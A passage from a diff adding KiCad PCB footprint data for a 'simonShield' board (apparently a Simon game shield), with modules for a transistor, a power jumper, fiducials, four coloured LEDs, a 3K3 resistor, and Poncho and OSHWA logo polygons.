+    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+    (pad 2 thru_hole circle (at 1.27 -1.27) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 5 "Net-(Q1-Pad2)"))
+    (pad 3 thru_hole circle (at 2.54 0) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 6 "Net-(Q1-Pad3)"))
+    (pad 1 thru_hole circle (at 0 0) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)
+      (net 19 "Net-(Q1-Pad1)"))
+    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 -90))
+    )
+  )
+
+  (module simonShield:Pin_Header_Straight_2x02 (layer F.Cu) (tedit 0) (tstamp 59574377)
+    (at 81.0078 51.0427)
+    (descr "Through hole pin header")
+    (tags "pin header")
+    (path /57781B52/57781CF6)
+    (fp_text reference P1 (at 0 -5.1) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value PWR_JUMPER (at 0 -3.1) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.75 -1.75) (end -1.75 4.3) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 4.3 -1.75) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.75 4.3) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.55 0) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))
+    (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.27 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 -1.27) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 -1.27) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start 3.81 3.81) (end -1.27 3.81) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.27 3.81) (end -1.27 1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 25 "Net-(P1-Pad1)"))
+    (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 32 VCC))
+    (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 26 "Net-(P1-Pad3)"))
+    (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 32 VCC))
+    (model Pin_Headers.3dshapes/Pin_Header_Straight_2x02.wrl
+      (at (xyz 0.05 -0.05 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 90))
+    )
+  )
+
+  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 59574373)
+    (at 121.25 81.75)
+    (path /577D5FF6)
+    (clearance 1.524)
+    (fp_text reference F3 (at 0.02 -0.9) (layer F.SilkS) hide
+      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+    )
+    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide
+      (effects (font (size 0.254 0.254) (thickness 0.00254)))
+    )
+    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)
+      (net 35 "Net-(F3-Pad1)") (solder_mask_margin 1.5))
+  )
+
+  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 5957436F)
+    (at 114.5 60)
+    (path /577D5F36)
+    (clearance 1.524)
+    (fp_text reference F2 (at 0.02 -0.9) (layer F.SilkS) hide
+      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+    )
+    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide
+      (effects (font (size 0.254 0.254) (thickness 0.00254)))
+    )
+    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)
+      (net 34 "Net-(F2-Pad1)") (solder_mask_margin 1.5))
+  )
+
+  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 5957436B)
+    (at 79.25 101.75)
+    (path /577D561F)
+    (clearance 1.524)
+    (fp_text reference F1 (at 0.02 -0.9) (layer F.SilkS) hide
+      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+    )
+    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide
+      (effects (font (size 0.254 0.254) (thickness 0.00254)))
+    )
+    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)
+      (net 33 "Net-(F1-Pad1)") (solder_mask_margin 1.5))
+  )
+
+  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573672) (tstamp 59574360)
+    (at 127.863 85.512)
+    (descr "LED 5mm round vertical")
+    (tags "LED 5mm round vertical")
+    (path /57780685/577975B8)
+    (fp_text reference D4 (at -3.113 -0.512) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value VERDE (at 1.524 -3.937) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))
+    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))
+    (fp_text user K (at -3.113 1.238) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 4 "Net-(D4-Pad2)"))
+    (model LEDs.3dshapes/LED-5MM.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 90))
+    )
+  )
+
+  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573664) (tstamp 59574355)
+    (at 90.017 85.639 180)
+    (descr "LED 5mm round vertical")
+    (tags "LED 5mm round vertical")
+    (path /57780685/5779752F)
+    (fp_text reference D3 (at -2.983 -0.111 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value ROJO (at 1.524 -3.937 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))
+    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))
+    (fp_text user K (at -1.905 1.905 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (pad 1 thru_hole rect (at 0 0 270) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 2 thru_hole circle (at 2.54 0 180) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 20 "Net-(D3-Pad2)"))
+    (model LEDs.3dshapes/LED-5MM.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 90))
+    )
+  )
+
+  (module simonShield:LED-5MM (layer F.Cu) (tedit 595736A9) (tstamp 5957434A)
+    (at 127.863 62.144)
+    (descr "LED 5mm round vertical")
+    (tags "LED 5mm round vertical")
+    (path /57780685/5779749F)
+    (fp_text reference D2 (at -2.863 -1.894) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value AZUL (at 1.524 -3.937) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))
+    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))
+    (fp_text user K (at -3.113 -0.144) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 3 "Net-(D2-Pad2)"))
+    (model LEDs.3dshapes/LED-5MM.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 90))
+    )
+  )
+
+  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573791) (tstamp 5957433F)
+    (at 90.017 62.144 180)
+    (descr "LED 5mm round vertical")
+    (tags "LED 5mm round vertical")
+    (path /57780685/57780BD5)
+    (fp_text reference D1 (at -2.733 -0.106 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value AMARILLO (at 1.524 -3.937 180) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))
+    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))
+    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))
+    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))
+    (fp_text user K (at -1.905 1.905 180) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (pad 1 thru_hole rect (at 0 0 270) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 2 thru_hole circle (at 2.54 0 180) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)
+      (net 2 "Net-(D1-Pad2)"))
+    (model LEDs.3dshapes/LED-5MM.wrl
+      (at (xyz 0.05 0 0))
+      (scale (xyz 1 1 1))
+      (rotate (xyz 0 0 90))
+    )
+  )
+
+  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595736A0) (tstamp 59574332)
+    (at 118.465 74.971 90)
+    (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+    (tags "Resistor Axial RM 7.62mm 1/3W R3")
+    (path /5777D5BA/577969F3)
+    (fp_text reference R4 (at 4.221 0.035 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 16 /buttons/BTN_CFG_2))
+    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)
+      (net 32 VCC))
+  )
+
+  (module simonShield:Logo_Poncho (layer F.Cu) (tedit 59573768) (tstamp 5957432A)
+    (at 131 49.5)
+    (fp_text reference G*** (at 0.127 5.588 90) (layer F.SilkS) hide
+      (effects (font (thickness 0.3)))
+    )
+    (fp_text value LOGO (at 0.762 7.493) (layer F.SilkS) hide
+      (effects (font (thickness 0.3)))
+    )
+    (fp_poly (pts (xy 4.535714 -0.627021) (xy 4.498746 -0.420109) (xy 4.405012 -0.1352) (xy 4.280272 0.162897)
+      (xy 4.150281 0.409374) (xy 4.123376 0.447413) (xy 4.123376 -0.123701) (xy 4.058326 -0.436938)
+      (xy 3.869112 -0.644378) (xy 3.564639 -0.737671) (xy 3.463636 -0.742208) (xy 3.129516 -0.681223)
+      (xy 2.908248 -0.503835) (xy 2.808734 -0.218392) (xy 2.803896 -0.123701) (xy 2.868946 0.189536)
+      (xy 3.058159 0.396975) (xy 3.362633 0.490269) (xy 3.463636 0.494805) (xy 3.797606 0.436492)
+      (xy 3.958441 0.32987) (xy 4.092315 0.09203) (xy 4.123376 -0.123701) (xy 4.123376 0.447413)
+      (xy 4.089856 0.494805) (xy 4.013749 0.621925) (xy 3.89522 0.861365) (xy 3.753792 1.172585)
+      (xy 3.672876 1.360714) (xy 3.421635 1.929272) (xy 3.149718 2.496808) (xy 2.869494 3.041693)
+      (xy 2.593334 3.542296) (xy 2.556493 3.603955) (xy 2.556493 -0.123701) (xy 2.552598 -0.439936)
+      (xy 2.534834 -0.625484) (xy 2.494089 -0.714524) (xy 2.421247 -0.741238) (xy 2.391558 -0.742208)
+      (xy 2.270831 -0.703329) (xy 2.228325 -0.558669) (xy 2.226623 -0.494805) (xy 2.206189 -0.31957)
+      (xy 2.109798 -0.254982) (xy 1.97922 -0.247402) (xy 1.803985 -0.267837) (xy 1.739397 -0.364227)
+      (xy 1.731818 -0.494805) (xy 1.705898 -0.675896) (xy 1.609459 -0.739655) (xy 1.566883 -0.742208)
+      (xy 1.482553 -0.727599) (xy 1.433074 -0.660988) (xy 1.40933 -0.508193) (xy 1.402206 -0.235036)
+      (xy 1.401948 -0.123701) (xy 1.405843 0.192533) (xy 1.423606 0.378081) (xy 1.464351 0.467122)
+      (xy 1.537193 0.493835) (xy 1.566883 0.494805) (xy 1.680559 0.462518) (xy 1.726426 0.336472)
+      (xy 1.731818 0.206169) (xy 1.745609 0.012245) (xy 1.815564 -0.067294) (xy 1.97922 -0.082467)
+      (xy 2.145441 -0.066377) (xy 2.213617 0.015237) (xy 2.226623 0.206169) (xy 2.245073 0.405103)
+      (xy 2.317099 0.48537) (xy 2.391558 0.494805) (xy 2.475887 0.480197) (xy 2.525367 0.413586)
+      (xy 2.549111 0.260791) (xy 2.556234 -0.012366) (xy 2.556493 -0.123701) (xy 2.556493 3.603955)
+      (xy 2.33361 3.976986) (xy 2.102692 4.324132) (xy 1.912952 4.562103) (xy 1.781691 4.667512)
+      (xy 1.660102 4.654002) (xy 1.438445 4.580892) (xy 1.163465 4.463746) (xy 1.154545 4.459546)
+      (xy 1.154545 0.36149) (xy 1.110706 0.268405) (xy 0.956623 0.266159) (xy 0.938776 0.269422)
+      (xy 0.717011 0.243945) (xy 0.523128 0.11531) (xy 0.417755 -0.07121) (xy 0.412337 -0.123701)
+      (xy 0.484303 -0.318602) (xy 0.658393 -0.472009) (xy 0.871896 -0.536691) (xy 0.949632 -0.528355)
+      (xy 1.105982 -0.515384) (xy 1.154279 -0.597467) (xy 1.154545 -0.609566) (xy 1.114247 -0.69528)
+      (xy 0.970303 -0.735064) (xy 0.783441 -0.742208) (xy 0.429195 -0.687347) (xy 0.198088 -0.523118)
+      (xy 0.090717 -0.250044) (xy 0.082467 -0.123701) (xy 0.144642 0.188869) (xy 0.330769 0.392787)
+      (xy 0.640252 0.487526) (xy 0.783441 0.494805) (xy 1.022962 0.480515) (xy 1.134243 0.429291)
+      (xy 1.154545 0.36149) (xy 1.154545 4.459546) (xy 1.148315 4.456614) (xy 0.592041 4.256938)
+      (xy 0.061238 4.207886) (xy -0.164935 4.249843) (xy -0.164935 -0.123701) (xy -0.168831 -0.439936)
+      (xy -0.186594 -0.625484) (xy -0.227339 -0.714524) (xy -0.300181 -0.741238) (xy -0.329871 -0.742208)
+      (xy -0.435349 -0.716231) (xy -0.483875 -0.609894) (xy -0.495586 -0.391721) (xy -0.496366 -0.041234)
+      (xy -0.706429 -0.391721) (xy -0.874005 -0.625569) (xy -1.029731 -0.729733) (xy -1.117986 -0.742208)
+      (xy -1.220495 -0.733937) (xy -1.280586 -0.685976) (xy -1.309571 -0.563603) (xy -1.318762 -0.332094)
+      (xy -1.319481 -0.123701) (xy -1.315585 0.192533) (xy -1.297822 0.378081) (xy -1.257077 0.467122)
+      (xy -1.184235 0.493835) (xy -1.154546 0.494805) (xy -1.049068 0.468829) (xy -1.000541 0.362492)
+      (xy -0.988831 0.144318) (xy -0.98805 -0.206169) (xy -0.777988 0.144318) (xy -0.610412 0.378167)
+      (xy -0.454685 0.48233) (xy -0.36643 0.494805) (xy -0.263922 0.486535) (xy -0.203831 0.438574)
+      (xy -0.174846 0.3162) (xy -0.165655 0.084692) (xy -0.164935 -0.123701) (xy -0.164935 4.249843)
+      (xy -0.48241 4.308738) (xy -0.783442 4.420415) (xy -1.059466 4.535832) (xy -1.285963 4.626797)
+      (xy -1.401948 4.669513) (xy -1.518876 4.625399) (xy -1.566884 4.584033) (xy -1.566884 -0.123701)
+      (xy -1.631934 -0.436938) (xy -1.821147 -0.644378) (xy -2.12562 -0.737671) (xy -2.226624 -0.742208)
+      (xy -2.560743 -0.681223) (xy -2.782012 -0.503835) (xy -2.881525 -0.218392) (xy -2.886364 -0.123701)
+      (xy -2.821314 0.189536) (xy -2.6321 0.396975) (xy -2.327627 0.490269) (xy -2.226624 0.494805)
+      (xy -1.892653 0.436492) (xy -1.731819 0.32987) (xy -1.597945 0.09203) (xy -1.566884 -0.123701)
+      (xy -1.566884 4.584033) (xy -1.717176 4.454536) (xy -1.98582 4.166799) (xy -2.061689 4.078924)
+      (xy -2.369861 3.70727) (xy -2.632201 3.363429) (xy -2.870341 3.013116) (xy -2.968832 2.849614)
+      (xy -2.968832 -0.32987) (xy -3.007485 -0.54598) (xy -3.140146 -0.67528) (xy -3.391869 -0.734039)
+      (xy -3.603832 -0.742208) (xy -4.04091 -0.742208) (xy -4.04091 -0.123701) (xy -4.037014 0.192533)
+      (xy -4.019251 0.378081) (xy -3.978506 0.467122) (xy -3.905664 0.493835) (xy -3.875974 0.494805)
+      (xy -3.746639 0.446485) (xy -3.711039 0.288637) (xy -3.687673 0.146227) (xy -3.584731 0.090232)
+      (xy -3.438897 0.082468) (xy -3.16065 0.034793) (xy -3.008068 -0.114765) (xy -2.968832 -0.32987)
+      (xy -2.968832 2.849614) (xy -3.105916 2.622046) (xy -3.360558 2.155935) (xy -3.6559 1.580499)
+      (xy -3.724805 1.443182) (xy -3.927446 1.040996) (xy -4.107468 0.68891) (xy -4.250627 0.414385)
+      (xy -4.342678 0.24488) (xy -4.366512 0.206169) (xy -4.479713 -0.061738) (xy -4.470402 -0.368299)
+      (xy -4.39208 -0.562072) (xy -4.211754 -0.794239) (xy -3.970771 -1.027175) (xy -3.729883 -1.205582)
+      (xy -3.628572 -1.257014) (xy -3.515586 -1.328258) (xy -3.31072 -1.481511) (xy -3.047204 -1.691308)
+      (xy -2.861153 -1.845142) (xy -2.478394 -2.151727) (xy -2.09396 -2.434151) (xy -1.735885 -2.674156)
+      (xy -1.432202 -2.853482) (xy -1.210945 -2.953871) (xy -1.135923 -2.968831) (xy -0.992755 -2.911987)
+      (xy -0.868796 -2.807085) (xy -0.798823 -2.718089) (xy -0.768465 -2.621372) (xy -0.779148 -2.476306)
+      (xy -0.832302 -2.242261) (xy -0.897248 -1.997411) (xy -1.002077 -1.614541) (xy -1.0637 -1.342913)
+      (xy -1.062894 -1.163551) (xy -0.980436 -1.05748) (xy -0.797105 -1.005726) (xy -0.493678 -0.989314)
+      (xy -0.050932 -0.989267) (xy 0.123701 -0.98961) (xy 0.616616 -0.993152) (xy 0.963601 -1.004879)
+      (xy 1.183529 -1.026446) (xy 1.295275 -1.059505) (xy 1.31948 -1.094352) (xy 1.298521 -1.22034)
+      (xy 1.243133 -1.457326) (xy 1.164548 -1.757819) (xy 1.150407 -1.809213) (xy 1.043088 -2.255847)
+      (xy 1.008894 -2.569631) (xy 1.048676 -2.765972) (xy 1.163285 -2.860279) (xy 1.208992 -2.870512)
+      (xy 1.420553 -2.83991) (xy 1.739874 -2.711189) (xy 2.149801 -2.493929) (xy 2.633175 -2.197713)
+      (xy 3.172841 -1.832122) (xy 3.525487 -1.576813) (xy 3.929546 -1.272303) (xy 4.214754 -1.04349)
+      (xy 4.398878 -0.873667) (xy 4.499689 -0.746128) (xy 4.534955 -0.644167) (xy 4.535714 -0.627021)
+      (xy 4.535714 -0.627021)) (layer F.SilkS) (width 0.1))
+    (fp_poly (pts (xy 1.023542 -3.736319) (xy 0.895402 -3.389445) (xy 0.679417 -3.11223) (xy 0.563302 -2.982356)
+      (xy 0.508034 -2.869698) (xy 0.506066 -2.720981) (xy 0.549854 -2.48293) (xy 0.574294 -2.370022)
+      (xy 0.658312 -1.973188) (xy 0.69611 -1.709422) (xy 0.675383 -1.550382) (xy 0.583822 -1.467723)
+      (xy 0.409122 -1.433104) (xy 0.16144 -1.419187) (xy -0.12355 -1.415195) (xy -0.339882 -1.428263)
+      (xy -0.43645 -1.453549) (xy -0.490308 -1.618268) (xy -0.466441 -1.923684) (xy -0.365224 -2.365222)
+      (xy -0.360015 -2.384058) (xy -0.225225 -2.868872) (xy -0.488808 -3.104404) (xy -0.714353 -3.402585)
+      (xy -0.808424 -3.746824) (xy -0.77552 -4.096523) (xy -0.620138 -4.411085) (xy -0.346777 -4.649915)
+      (xy -0.31571 -4.666738) (xy 0.033719 -4.763905) (xy 0.380075 -4.71573) (xy 0.68714 -4.538441)
+      (xy 0.918691 -4.248265) (xy 0.989692 -4.081895) (xy 1.023542 -3.736319) (xy 1.023542 -3.736319)) (layer F.SilkS) (width 0.1))
+    (fp_poly (pts (xy -3.320079 -0.321578) (xy -3.381169 -0.206169) (xy -3.537606 -0.087441) (xy -3.656944 -0.12265)
+      (xy -3.710414 -0.301007) (xy -3.711039 -0.32987) (xy -3.666881 -0.523821) (xy -3.553583 -0.57585)
+      (xy -3.399915 -0.47517) (xy -3.381169 -0.453571) (xy -3.320079 -0.321578) (xy -3.320079 -0.321578)) (layer F.SilkS) (width 0.1))
+    (fp_poly (pts (xy -1.911824 -0.1467) (xy -1.935194 -0.006732) (xy -2.006645 0.114199) (xy -2.128505 0.265484)
+      (xy -2.225472 0.329848) (xy -2.226624 0.32987) (xy -2.322643 0.267542) (xy -2.444552 0.117317)
+      (xy -2.446603 0.114199) (xy -2.537406 -0.05684) (xy -2.52656 -0.197017) (xy -2.465958 -0.318756)
+      (xy -2.343482 -0.473895) (xy -2.226624 -0.536039) (xy -2.106037 -0.47051) (xy -1.987289 -0.318756)
+      (xy -1.911824 -0.1467) (xy -1.911824 -0.1467)) (layer F.SilkS) (width 0.1))
+    (fp_poly (pts (xy 3.778435 -0.1467) (xy 3.755065 -0.006732) (xy 3.683615 0.114199) (xy 3.561755 0.265484)
+      (xy 3.464788 0.329848) (xy 3.463636 0.32987) (xy 3.367616 0.267542) (xy 3.245708 0.117317)
+      (xy 3.243657 0.114199) (xy 3.152854 -0.05684) (xy 3.163699 -0.197017) (xy 3.224301 -0.318756)
+      (xy 3.346778 -0.473895) (xy 3.463636 -0.536039) (xy 3.584223 -0.47051) (xy 3.702971 -0.318756)
+      (xy 3.778435 -0.1467) (xy 3.778435 -0.1467)) (layer F.SilkS) (width 0.1))
+  )
+
+  (module simonShield:Logo_OSHWA (layer F.Cu) (tedit 560D8B85) (tstamp 59574326)
+    (at 101.5 82.5)
+    (fp_text reference G101 (at 0 4.2418) (layer F.SilkS) hide
+      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+    )
+    (fp_text value Logo_OSHWA (at 0 -4.2418) (layer F.SilkS) hide
+      (effects (font (size 0.36322 0.36322) (thickness 0.07112)))
+    )
+    (fp_poly (pts (xy -2.42316 3.59156) (xy -2.38252 3.57124) (xy -2.28854 3.51282) (xy -2.15392 3.42392)
+      (xy -1.99644 3.31978) (xy -1.83896 3.21056) (xy -1.70942 3.1242) (xy -1.61798 3.06578)
+      (xy -1.57988 3.04546) (xy -1.55956 3.05054) (xy -1.48336 3.08864) (xy -1.37414 3.14452)
+      (xy -1.31064 3.17754) (xy -1.21158 3.22072) (xy -1.16078 3.23088) (xy -1.15316 3.21564)
+      (xy -1.11506 3.13944) (xy -1.05918 3.00736) (xy -0.98298 2.83464) (xy -0.89662 2.63144)
+      (xy -0.80264 2.413) (xy -0.7112 2.18948) (xy -0.6223 1.97612) (xy -0.54356 1.78562)
+      (xy -0.48006 1.63068) (xy -0.43942 1.52146) (xy -0.42418 1.47574) (xy -0.42926 1.46558)
+      (xy -0.48006 1.41732) (xy -0.56642 1.35128) (xy -0.75692 1.19634) (xy -0.94234 0.96266)
+      (xy -1.05664 0.6985) (xy -1.09474 0.40386) (xy -1.06172 0.13208) (xy -0.95504 -0.12954)
+      (xy -0.77216 -0.36576) (xy -0.55118 -0.54102) (xy -0.2921 -0.65278) (xy 0 -0.68834)
+      (xy 0.2794 -0.65786) (xy 0.5461 -0.55118) (xy 0.78232 -0.37084) (xy 0.88138 -0.25654)
+      (xy 1.01854 -0.01778) (xy 1.09728 0.23876) (xy 1.1049 0.30226) (xy 1.09474 0.5842)
+      (xy 1.01092 0.85344) (xy 0.8636 1.09474) (xy 0.65786 1.29032) (xy 0.62992 1.31064)
+      (xy 0.53594 1.38176) (xy 0.47244 1.43002) (xy 0.42164 1.47066) (xy 0.77978 2.33172)
+      (xy 0.83566 2.46888) (xy 0.93472 2.7051) (xy 1.02108 2.9083) (xy 1.08966 3.06832)
+      (xy 1.13792 3.17754) (xy 1.15824 3.22072) (xy 1.16078 3.22326) (xy 1.19126 3.22834)
+      (xy 1.2573 3.20294) (xy 1.37668 3.14452) (xy 1.45796 3.10388) (xy 1.5494 3.0607)
+      (xy 1.59004 3.04546) (xy 1.6256 3.06324) (xy 1.71196 3.12166) (xy 1.8415 3.20548)
+      (xy 1.9939 3.30962) (xy 2.14122 3.41122) (xy 2.27584 3.50012) (xy 2.3749 3.56108)
+      (xy 2.42316 3.58902) (xy 2.43078 3.58902) (xy 2.47142 3.56362) (xy 2.55016 3.50012)
+      (xy 2.667 3.38836) (xy 2.8321 3.2258) (xy 2.8575 3.2004) (xy 2.99466 3.0607)
+      (xy 3.10642 2.94386) (xy 3.18008 2.86258) (xy 3.20548 2.82448) (xy 3.20548 2.82448)
+      (xy 3.18262 2.77622) (xy 3.11912 2.6797) (xy 3.03022 2.54254) (xy 2.921 2.38252)
+      (xy 2.63652 1.9685) (xy 2.794 1.57734) (xy 2.84226 1.45796) (xy 2.90322 1.31318)
+      (xy 2.9464 1.20904) (xy 2.9718 1.16332) (xy 3.01244 1.14808) (xy 3.12166 1.12268)
+      (xy 3.2766 1.08966) (xy 3.45948 1.05664) (xy 3.63728 1.02362) (xy 3.7973 0.99314)
+      (xy 3.9116 0.97028) (xy 3.9624 0.96012) (xy 3.9751 0.9525) (xy 3.98526 0.9271)
+      (xy 3.99288 0.87376) (xy 3.99542 0.77724) (xy 3.99796 0.62484) (xy 3.99796 0.40386)
+      (xy 3.99796 0.381) (xy 3.99542 0.17018) (xy 3.99288 0.00254) (xy 3.9878 -0.10668)
+      (xy 3.98018 -0.14986) (xy 3.98018 -0.14986) (xy 3.92938 -0.16256) (xy 3.81762 -0.18542)
+      (xy 3.6576 -0.21844) (xy 3.4671 -0.254) (xy 3.45694 -0.25654) (xy 3.26644 -0.2921)
+      (xy 3.10896 -0.32512) (xy 2.9972 -0.35052) (xy 2.95148 -0.36576) (xy 2.94132 -0.37846)
